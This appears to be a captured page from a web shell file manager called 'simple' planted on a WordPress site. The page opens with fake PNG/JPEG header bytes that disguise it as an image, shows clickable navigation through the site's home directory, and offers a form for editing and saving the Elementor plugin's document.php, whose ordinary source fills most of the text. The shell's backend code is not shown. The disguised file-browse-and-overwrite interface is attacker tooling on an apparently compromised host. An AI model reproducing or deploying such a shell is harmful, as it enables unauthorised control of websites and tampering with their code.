�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fhome%2F'>home</a>/<a href='?path=%2Fhome%2Fmycooffi%2F'>mycooffi</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2F'>public_html</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Felementor%2F'>elementor</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Felementor%2Fcore%2F'>core</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Felementor%2Fcore%2Fbase%2F'>base</a>/</p><hr><h3>✏️ Editing: document.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
namespace Elementor\Core\Base;

use Elementor\Core\Files\CSS\Post as Post_CSS;
use Elementor\Core\Utils\Exceptions;
use Elementor\Plugin;
use Elementor\DB;
use Elementor\Controls_Manager;
use Elementor\Controls_Stack;
use Elementor\User;
use Elementor\Core\Settings\Manager as SettingsManager;
use Elementor\Utils;
use Elementor\Widget_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * Elementor document.
 *
 * An abstract class that provides the needed properties and methods to
 * manage and handle documents in inheriting classes.
 *
 * @since 2.0.0
 * @abstract
 */
abstract class Document extends Controls_Stack {

	/**
	 * Document type meta key.
	 */
	const TYPE_META_KEY = '_elementor_template_type';

	private static $properties = [];

	/**
	 * Document post data.
	 *
	 * Holds the document post data.
	 *
	 * @since 2.0.0
	 * @access protected
	 *
	 * @var \WP_Post WordPress post data.
	 */
	protected $post;

	/**
	 * @since 2.1.0
	 * @access protected
	 * @static
	 */
	protected static function get_editor_panel_categories() {
		return Plugin::$instance-&gt;elements_manager-&gt;get_categories();
	}

	/**
	 * Get properties.
	 *
	 * Retrieve the document properties.
	 *
	 * @since 2.0.0
	 * @access public
	 * @static
	 *
	 * @return array Document properties.
	 */
	public static function get_properties() {
		return [
			'is_editable' =&gt; true,
		];
	}

	/**
	 * @since 2.1.0
	 * @access public
	 * @static
	 */
	public static function get_editor_panel_config() {
		return [
			'widgets_settings' =&gt; [],
			'elements_categories' =&gt; static::get_editor_panel_categories(),
			'messages' =&gt; [
				/* translators: %s: the document title. */
				'publish_notification' =&gt; sprintf( __( 'Hurray! Your %s is live.', 'elementor' ), self::get_title() ),
			],
		];
	}

	/**
	 * Get element title.
	 *
	 * Retrieve the element title.
	 *
	 * @since 2.0.0
	 * @access public
	 * @static
	 *
	 * @return string Element title.
	 */
	public static function get_title() {
		return __( 'Document', 'elementor' );
	}

	/**
	 * Get property.
	 *
	 * Retrieve the document property.
	 *
	 * @since 2.0.0
	 * @access public
	 * @static
	 *
	 * @param string $key The property key.
	 *
	 * @return mixed The property value.
	 */
	public static function get_property( $key ) {
		$id = static::get_class_full_name();
		if ( ! isset( self::$properties[ $id ] ) ) {
			self::$properties[ $id ] = static::get_properties();
		}

		return self::_get_items( self::$properties[ $id ], $key );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 * @static
	 */
	public static function get_class_full_name() {
		return get_called_class();
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_unique_name() {
		return $this-&gt;get_name() . '-' . $this-&gt;post-&gt;ID;
	}

	/**
	 * @since 2.3.0
	 * @access public
	 */
	public function get_post_type_title() {
		$post_type_object = get_post_type_object( $this-&gt;post-&gt;post_type );

		return $post_type_object-&gt;labels-&gt;singular_name;
	}

	/**
	 * @since 2.0.12
	 * @access public
	 */
	public function get_remote_library_type() {
		return $this-&gt;get_name();
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_main_id() {
		$post_id = $this-&gt;post-&gt;ID;
		$parent_post_id = wp_is_post_revision( $post_id );
		if ( $parent_post_id ) {
			$post_id = $parent_post_id;
		}

		return $post_id;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param $data
	 *
	 * @throws \Exception If the widget was not found.
	 *
	 * @return string
	 */
	public function render_element( $data ) {
		// Start buffering
		ob_start();

		/** @var Widget_Base $widget */
		$widget = Plugin::$instance-&gt;elements_manager-&gt;create_element_instance( $data );

		if ( ! $widget ) {
			throw new \Exception( 'Widget not found.' );
		}

		$widget-&gt;render_content();

		$render_html = ob_get_clean();

		return $render_html;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_main_post() {
		return get_post( $this-&gt;get_main_id() );
	}

	/**
	 * @since 2.0.6
	 * @access public
	 */
	public function get_container_classes() {
		return 'elementor elementor-' . $this-&gt;get_main_id();
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_wp_preview_url() {
		$main_post_id = $this-&gt;get_main_id();
		$url = get_preview_post_link(
			$main_post_id,
			[
				'preview_nonce' =&gt; wp_create_nonce( 'post_preview_' . $main_post_id ),
			]
		);

		/**
		 * Document &quot;WordPress preview&quot; URL.
		 *
		 * Filters the WordPress preview URL.
		 *
		 * @since 2.0.0
		 *
		 * @param string   $url  WordPress preview URL.
		 * @param Document $this The document instance.
		 */
		$url = apply_filters( 'elementor/document/urls/wp_preview', $url, $this );

		return $url;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_exit_to_dashboard_url() {
		$url = get_edit_post_link( $this-&gt;get_main_id(), 'raw' );

		/**
		 * Document &quot;exit to dashboard&quot; URL.
		 *
		 * Filters the &quot;Exit To Dashboard&quot; URL.
		 *
		 * @since 2.0.0
		 *
		 * @param string   $url  The exit URL
		 * @param Document $this The document instance.
		 */
		$url = apply_filters( 'elementor/document/urls/exit_to_dashboard', $url, $this );

		return $url;
	}

	/**
	 * Get auto-saved post revision.
	 *
	 * Retrieve the auto-saved post revision that is newer than current post.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 *
	 * @return bool|Document
	 */

	public function get_newer_autosave() {
		$autosave = $this-&gt;get_autosave();

		// Detect if there exists an autosave newer than the post.
		if ( $autosave &amp;&amp; mysql2date( 'U', $autosave-&gt;get_post()-&gt;post_modified_gmt, false ) &gt; mysql2date( 'U', $this-&gt;post-&gt;post_modified_gmt, false ) ) {
			return $autosave;
		}

		return false;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function is_autosave() {
		return wp_is_post_autosave( $this-&gt;post-&gt;ID );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param int  $user_id
	 * @param bool $create
	 *
	 * @return bool|Document
	 */
	public function get_autosave( $user_id = 0, $create = false ) {
		if ( ! $user_id ) {
			$user_id = get_current_user_id();
		}

		$autosave_id = $this-&gt;get_autosave_id( $user_id );

		if ( $autosave_id ) {
			$document = Plugin::$instance-&gt;documents-&gt;get( $autosave_id );
		} elseif ( $create ) {
			$autosave_id = wp_create_post_autosave( [
				'post_ID' =&gt; $this-&gt;post-&gt;ID,
				'post_type' =&gt; $this-&gt;post-&gt;post_type,
				'post_title' =&gt; $this-&gt;post-&gt;post_title,
				'post_excerpt' =&gt; $this-&gt;post-&gt;post_excerpt,
				// Hack to cause $autosave_is_different=true in `wp_create_post_autosave`.
				'post_content' =&gt; '&lt;!-- Created With Elementor --&gt;',
				'post_modified' =&gt; current_time( 'mysql' ),
			] );

			Plugin::$instance-&gt;db-&gt;copy_elementor_meta( $this-&gt;post-&gt;ID, $autosave_id );

			$document = Plugin::$instance-&gt;documents-&gt;get( $autosave_id );
			$document-&gt;save_template_type();
		} else {
			$document = false;
		}

		return $document;
	}

	/**
	 * Add/Remove edit link in dashboard.
	 *
	 * Add or remove an edit link to the post/page action links on the post/pages list table.
	 *
	 * Fired by `post_row_actions` and `page_row_actions` filters.
	 *
	 * @access public
	 *
	 * @param array    $actions An array of row action links.
	 *
	 * @return array An updated array of row action links.
	 */
	public function filter_admin_row_actions( $actions ) {
		if ( $this-&gt;is_built_with_elementor() &amp;&amp; $this-&gt;is_editable_by_current_user() ) {
			$actions['edit_with_elementor'] = sprintf(
				'&lt;a href=&quot;%1$s&quot;&gt;%2$s&lt;/a&gt;',
				$this-&gt;get_edit_url(),
				__( 'Edit with Elementor', 'elementor' )
			);
		}

		return $actions;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function is_editable_by_current_user() {
		return self::get_property( 'is_editable' ) &amp;&amp; User::is_current_user_can_edit( $this-&gt;get_main_id() );
	}

	/**
	 * @since 2.0.0
	 * @access protected
	 */
	protected function _get_initial_config() {
		return [
			'id' =&gt; $this-&gt;get_main_id(),
			'type' =&gt; $this-&gt;get_name(),
			'remote_type' =&gt; $this-&gt;get_remote_library_type(),
			'last_edited' =&gt; $this-&gt;get_last_edited(),
			'panel' =&gt; static::get_editor_panel_config(),
			'urls' =&gt; [
				'exit_to_dashboard' =&gt; $this-&gt;get_exit_to_dashboard_url(),
				'preview' =&gt; $this-&gt;get_preview_url(),
				'wp_preview' =&gt; $this-&gt;get_wp_preview_url(),
				'permalink' =&gt; $this-&gt;get_permalink(),
			],
		];
	}

	/**
	 * @since 2.0.0
	 * @access protected
	 */
	protected function _register_controls() {
		$this-&gt;start_controls_section(
			'document_settings',
			[
				'label' =&gt; __( 'General Settings', 'elementor' ),
				'tab' =&gt; Controls_Manager::TAB_SETTINGS,
			]
		);

		$this-&gt;add_control(
			'post_title',
			[
				'label' =&gt; __( 'Title', 'elementor' ),
				'type' =&gt; Controls_Manager::TEXT,
				'default' =&gt; $this-&gt;post-&gt;post_title,
				'label_block' =&gt; true,
				'separator' =&gt; 'none',
			]
		);

		$post_type_object = get_post_type_object( $this-&gt;post-&gt;post_type );

		$can_publish = $post_type_object &amp;&amp; current_user_can( $post_type_object-&gt;cap-&gt;publish_posts );
		$is_published = DB::STATUS_PUBLISH === $this-&gt;post-&gt;post_status || DB::STATUS_PRIVATE === $this-&gt;post-&gt;post_status;

		if ( $is_published || $can_publish || ! Plugin::$instance-&gt;editor-&gt;is_edit_mode() ) {

			$statuses = get_post_statuses();
			if ( 'future' === $this-&gt;get_main_post()-&gt;post_status ) {
				$statuses['future'] = __( 'Future', 'elementor' );
			}

			$this-&gt;add_control(
				'post_status',
				[
					'label' =&gt; __( 'Status', 'elementor' ),
					'type' =&gt; Controls_Manager::SELECT,
					'default' =&gt; $this-&gt;get_main_post()-&gt;post_status,
					'options' =&gt; $statuses,
				]
			);
		}

		$this-&gt;end_controls_section();

		/**
		 * Register document controls.
		 *
		 * Fires after Elementor registers the document controls.
		 *
		 * @since 2.0.0
		 *
		 * @param Document $this The document instance.
		 */
		do_action( 'elementor/documents/register_controls', $this );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param $data
	 *
	 * @return bool
	 */
	public function save( $data ) {
		if ( ! $this-&gt;is_editable_by_current_user() ) {
			return false;
		}

		if ( DB::STATUS_AUTOSAVE === $data['settings']['post_status'] ) {
			if ( ! defined( 'DOING_AUTOSAVE' ) ) {
				define( 'DOING_AUTOSAVE', true );
			}
		}

		if ( ! empty( $data['settings'] ) ) {
			$this-&gt;save_settings( $data['settings'] );
		}

		// Refresh post after save settings.
		$this-&gt;post = get_post( $this-&gt;post-&gt;ID );

		// TODO: refresh settings.
		$this-&gt;save_elements( $data['elements'] );

		// Remove Post CSS
		$post_css = new Post_CSS( $this-&gt;post-&gt;ID );

		$post_css-&gt;delete();

		return true;
	}

	/**
	 * Is built with Elementor.
	 *
	 * Check whether the post was built with Elementor.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @return bool Whether the post was built with Elementor.
	 */
	public function is_built_with_elementor() {
		return ! ! get_post_meta( $this-&gt;post-&gt;ID, '_elementor_edit_mode', true );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 * @static
	 *
	 * @return mixed
	 */
	public function get_edit_url() {
		$url = add_query_arg(
			[
				'post' =&gt; $this-&gt;get_main_id(),
				'action' =&gt; 'elementor',
			],
			admin_url( 'post.php' )
		);

		/**
		 * Document edit url.
		 *
		 * Filters the document edit url.
		 *
		 * @since 2.0.0
		 *
		 * @param string   $url  The edit url.
		 * @param Document $this The document instance.
		 */
		$url = apply_filters( 'elementor/document/urls/edit', $url, $this );

		return $url;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_preview_url() {
		/**
		 * Use a static var - to avoid change the `ver` parameter on every call.
		 */
		static $url;

		if ( empty( $url ) ) {

			add_filter( 'pre_option_permalink_structure', '__return_empty_string' );

			$url = set_url_scheme( add_query_arg( [
				'elementor-preview' =&gt; $this-&gt;get_main_id(),
				'ver' =&gt; time(),
			], $this-&gt;get_permalink() ) );

			remove_filter( 'pre_option_permalink_structure', '__return_empty_string' );

			/**
			 * Document preview URL.
			 *
			 * Filters the document preview URL.
			 *
			 * @since 2.0.0
			 *
			 * @param string   $url  The preview URL.
			 * @param Document $this The document instance.
			 */
			$url = apply_filters( 'elementor/document/urls/preview', $url, $this );
		}

		return $url;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $key
	 *
	 * @return array
	 */
	public function get_json_meta( $key ) {
		$meta = get_post_meta( $this-&gt;post-&gt;ID, $key, true );

		if ( is_string( $meta ) &amp;&amp; ! empty( $meta ) ) {
			$meta = json_decode( $meta, true );
		}

		if ( empty( $meta ) ) {
			$meta = [];
		}

		return $meta;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param null $data
	 * @param bool $with_html_content
	 *
	 * @return array
	 */
	public function get_elements_raw_data( $data = null, $with_html_content = false ) {
		if ( is_null( $data ) ) {
			$data = $this-&gt;get_elements_data();
		}

		// Change the current documents, so widgets can use `documents-&gt;get_current` and other post data
		Plugin::$instance-&gt;documents-&gt;switch_to_document( $this );

		$editor_data = [];

		foreach ( $data as $element_data ) {
			$element = Plugin::$instance-&gt;elements_manager-&gt;create_element_instance( $element_data );

			if ( ! $element ) {
				continue;
			}

			$editor_data[] = $element-&gt;get_raw_data( $with_html_content );
		} // End foreach().

		Plugin::$instance-&gt;documents-&gt;restore_document();

		return $editor_data;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $status
	 *
	 * @return array
	 */
	public function get_elements_data( $status = DB::STATUS_PUBLISH ) {
		$elements = $this-&gt;get_json_meta( '_elementor_data' );

		if ( DB::STATUS_DRAFT === $status ) {
			$autosave = $this-&gt;get_newer_autosave();

			if ( is_object( $autosave ) ) {
				$autosave_elements = Plugin::$instance-&gt;documents
					-&gt;get( $autosave-&gt;get_post()-&gt;ID )
					-&gt;get_json_meta( '_elementor_data' );
			}
		}

		if ( Plugin::$instance-&gt;editor-&gt;is_edit_mode() ) {
			if ( empty( $elements ) &amp;&amp; empty( $autosave_elements ) ) {
				// Convert to Elementor.
				$elements = $this-&gt;convert_to_elementor();
				if ( $this-&gt;is_autosave() ) {
					Plugin::$instance-&gt;db-&gt;copy_elementor_meta( $this-&gt;post-&gt;post_parent, $this-&gt;post-&gt;ID );
				}
			}
		}

		if ( ! empty( $autosave_elements ) ) {
			$elements = $autosave_elements;
		}

		return $elements;
	}

	/**
	 * @since 2.3.0
	 * @access public
	 */
	public function convert_to_elementor() {
		$this-&gt;save_template_type();

		if ( empty( $this-&gt;post-&gt;post_content ) ) {
			return [];
		}

		// Check if it's only a shortcode.
		preg_match_all( '/' . get_shortcode_regex() . '/', $this-&gt;post-&gt;post_content, $matches, PREG_SET_ORDER );
		if ( ! empty( $matches ) ) {
			foreach ( $matches as $shortcode ) {
				if ( trim( $this-&gt;post-&gt;post_content ) === $shortcode[0] ) {
					$widget_type = Plugin::$instance-&gt;widgets_manager-&gt;get_widget_types( 'shortcode' );
					$settings = [
						'shortcode' =&gt; $this-&gt;post-&gt;post_content,
					];
					break;
				}
			}
		}

		if ( empty( $widget_type ) ) {
			$widget_type = Plugin::$instance-&gt;widgets_manager-&gt;get_widget_types( 'text-editor' );
			$settings = [
				'editor' =&gt; $this-&gt;post-&gt;post_content,
			];
		}

		// TODO: Better coding to start template for editor
		return [
			[
				'id' =&gt; Utils::generate_random_string(),
				'elType' =&gt; 'section',
				'elements' =&gt; [
					[
						'id' =&gt; Utils::generate_random_string(),
						'elType' =&gt; 'column',
						'elements' =&gt; [
							[
								'id' =&gt; Utils::generate_random_string(),
								'elType' =&gt; $widget_type::get_type(),
								'widgetType' =&gt; $widget_type-&gt;get_name(),
								'settings' =&gt; $settings,
							],
						],
					],
				],
			],
		];
	}

	/**
	 * @since 2.1.3
	 * @access public
	 */
	public function print_elements_with_wrapper( $elements_data = null ) {
		if ( ! $elements_data ) {
			$elements_data = $this-&gt;get_elements_data();
		}
		?&gt;
		&lt;div class=&quot;&lt;?php echo esc_attr( $this-&gt;get_container_classes() ); ?&gt;&quot;&gt;
			&lt;div class=&quot;elementor-inner&quot;&gt;
				&lt;div class=&quot;elementor-section-wrap&quot;&gt;
					&lt;?php $this-&gt;print_elements( $elements_data ); ?&gt;
				&lt;/div&gt;
			&lt;/div&gt;
		&lt;/div&gt;
		&lt;?php
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_css_wrapper_selector() {
		return '';
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_panel_page_settings() {
		return [
			/* translators: %s: Document title */
			'title' =&gt; sprintf( __( '%s Settings', 'elementor' ), self::get_title() ),
		];
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_post() {
		return $this-&gt;post;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_permalink() {
		return get_permalink( $this-&gt;get_main_id() );
	}

	/**
	 * @since 2.0.8
	 * @access public
	 */
	public function get_content( $with_css = false ) {
		return Plugin::$instance-&gt;frontend-&gt;get_builder_content( $this-&gt;post-&gt;ID, $with_css );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function delete() {
		if ( 'revision' === $this-&gt;post-&gt;post_type ) {
			$deleted = wp_delete_post_revision( $this-&gt;post );
		} else {
			$deleted = wp_delete_post( $this-&gt;post-&gt;ID );
		}

		return $deleted &amp;&amp; ! is_wp_error( $deleted );
	}

	/**
	 * Save editor elements.
	 *
	 * Save data from the editor to the database.
	 *
	 * @since 2.0.0
	 * @access protected
	 *
	 * @param array $elements
	 */
	protected function save_elements( $elements ) {
		$editor_data = $this-&gt;get_elements_raw_data( $elements );

		// We need the `wp_slash` in order to avoid the unslashing during the `update_post_meta`
		$json_value = wp_slash( wp_json_encode( $editor_data ) );

		// Don't use `update_post_meta` that can't handle `revision` post type
		$is_meta_updated = update_metadata( 'post', $this-&gt;post-&gt;ID, '_elementor_data', $json_value );

		/**
		 * Before saving data.
		 *
		 * Fires before Elementor saves data to the database.
		 *
		 * @since 1.0.0
		 *
		 * @param string   $status          Post status.
		 * @param int|bool $is_meta_updated Meta ID if the key didn't exist, true on successful update, false on failure.
		 */
		do_action( 'elementor/db/before_save', $this-&gt;post-&gt;post_status, $is_meta_updated );

		Plugin::$instance-&gt;db-&gt;save_plain_text( $this-&gt;post-&gt;ID );

		update_metadata( 'post', $this-&gt;post-&gt;ID, '_elementor_version', DB::DB_VERSION );

		/**
		 * After saving data.
		 *
		 * Fires after Elementor saves data to the database.
		 *
		 * @since 1.0.0
		 *
		 * @param int   $post_id     The ID of the post.
		 * @param array $editor_data Sanitize posted data.
		 */
		do_action( 'elementor/editor/after_save', $this-&gt;post-&gt;ID, $editor_data );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param int $user_id Optional. User ID. Default value is `0`.
	 *
	 * @return bool|int
	 */
	public function get_autosave_id( $user_id = 0 ) {
		if ( ! $user_id ) {
			$user_id = get_current_user_id();
		}

		$autosave = Utils::get_post_autosave( $this-&gt;post-&gt;ID, $user_id );
		if ( $autosave ) {
			return $autosave-&gt;ID;
		}

		return false;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 * @deprecated Use `save_template_type`.
	 */
	public function save_type() {
		// TODO: _deprecated_function( __METHOD__, '2.2.0', 'save_template_type' );

		$this-&gt;save_template_type();
	}

	/**
	 * @since 2.3.0
	 * @access public
	 */
	public function save_template_type() {
		return $this-&gt;update_main_meta( self::TYPE_META_KEY, $this-&gt;get_name() );
	}

	/**
	 * @since 2.3.0
	 * @access public
	 */
	public function get_template_type() {
		return $this-&gt;get_main_meta( self::TYPE_META_KEY );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $key Meta data key.
	 *
	 * @return mixed
	 */
	public function get_main_meta( $key ) {
		return get_post_meta( $this-&gt;get_main_id(), $key, true );
	}

	/**
	 * @since 2.0.4
	 * @access public
	 *
	 * @param string $key   Meta data key.
	 * @param string $value Meta data value.
	 *
	 * @return bool|int
	 */
	public function update_main_meta( $key, $value ) {
		return update_post_meta( $this-&gt;get_main_id(), $key, $value );
	}

	/**
	 * @since 2.0.4
	 * @access public
	 *
	 * @param string $key   Meta data key.
	 * @param string $value Optional. Meta data value. Default is an empty string.
	 *
	 * @return bool
	 */
	public function delete_main_meta( $key, $value = '' ) {
		return delete_post_meta( $this-&gt;get_main_id(), $key, $value );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $key Meta data key.
	 *
	 * @return mixed
	 */
	public function get_meta( $key ) {
		return get_post_meta( $this-&gt;post-&gt;ID, $key, true );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $key   Meta data key.
	 * @param mixed  $value Meta data value.
	 *
	 * @return bool|int
	 */
	public function update_meta( $key, $value ) {
		// Use `update_metadata` in order to work also with revisions.
		return update_metadata( 'post', $this-&gt;post-&gt;ID, $key, $value );
	}

	/**
	 * @since 2.0.3
	 * @access public
	 *
	 * @param string $key   Meta data key.
	 * @param string $value Meta data value.
	 *
	 * @return bool
	 */
	public function delete_meta( $key, $value = '' ) {
		// Use `delete_metadata` in order to work also with revisions.
		return delete_metadata( 'post', $this-&gt;post-&gt;ID, $key, $value );
	}

	/**
	 * @since 2.0.0
	 * @access public
	 */
	public function get_last_edited() {
		$post = $this-&gt;post;
		$autosave_post = $this-&gt;get_autosave();

		if ( $autosave_post ) {
			$post = $autosave_post-&gt;get_post();
		}

		$date = date_i18n( _x( 'M j, H:i', 'revision date format', 'elementor' ), strtotime( $post-&gt;post_modified ) );
		$display_name = get_the_author_meta( 'display_name', $post-&gt;post_author );

		if ( $autosave_post || 'revision' === $post-&gt;post_type ) {
			/* translators: 1: Saving date, 2: Author display name */
			$last_edited = sprintf( __( 'Draft saved on %1$s by %2$s', 'elementor' ), '&lt;time&gt;' . $date . '&lt;/time&gt;', $display_name );
		} else {
			/* translators: 1: Editing date, 2: Author display name */
			$last_edited = sprintf( __( 'Last edited on %1$s by %2$s', 'elementor' ), '&lt;time&gt;' . $date . '&lt;/time&gt;', $display_name );
		}

		return $last_edited;
	}

	/**
	 * @since 2.0.0
	 * @access public
	 *
	 * @param array $data
	 *
	 * @throws \Exception If the post does not exist.
	 */
	public function __construct( array $data = [] ) {
		if ( $data ) {
			if ( empty( $data['post_id'] ) ) {
				$this-&gt;post = new \WP_Post( (object) [] );
			} else {
				$this-&gt;post = get_post( $data['post_id'] );

				if ( ! $this-&gt;post ) {
					throw new \Exception( sprintf( 'Post ID #%s does not exist.', $data['post_id'] ), Exceptions::NOT_FOUND );
				}
			}

			// Each Control_Stack is based on a unique ID.
			$data['id'] = $data['post_id'];

			if ( ! isset( $data['settings'] ) ) {
				$data['settings'] = [];
			}

			$saved_settings = get_post_meta( $this-&gt;post-&gt;ID, '_elementor_page_settings', true );
			if ( ! empty( $saved_settings ) &amp;&amp; is_array( $saved_settings ) ) {
				$data['settings'] += $saved_settings;
			}
		}

		parent::__construct( $data );
	}

	/**
	 * @since 2.0.4
	 * @access protected
	 *
	 * @param $settings
	 */
	protected function save_settings( $settings ) {
		$page_settings_manager = SettingsManager::get_settings_managers( 'page' );
		$page_settings_manager-&gt;ajax_before_save_settings( $settings, $this-&gt;post-&gt;ID );
		$page_settings_manager-&gt;save_settings( $settings, $this-&gt;post-&gt;ID );
	}

	/**
	 * @since 2.1.3
	 * @access protected
	 */
	protected function print_elements( $elements_data ) {
		foreach ( $elements_data as $element_data ) {
			$element = Plugin::$instance-&gt;elements_manager-&gt;create_element_instance( $element_data );

			if ( ! $element ) {
				continue;
			}

			$element-&gt;print_element();
		}
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Felementor%2Fcore%2Fbase'>🔙 Back</a></p>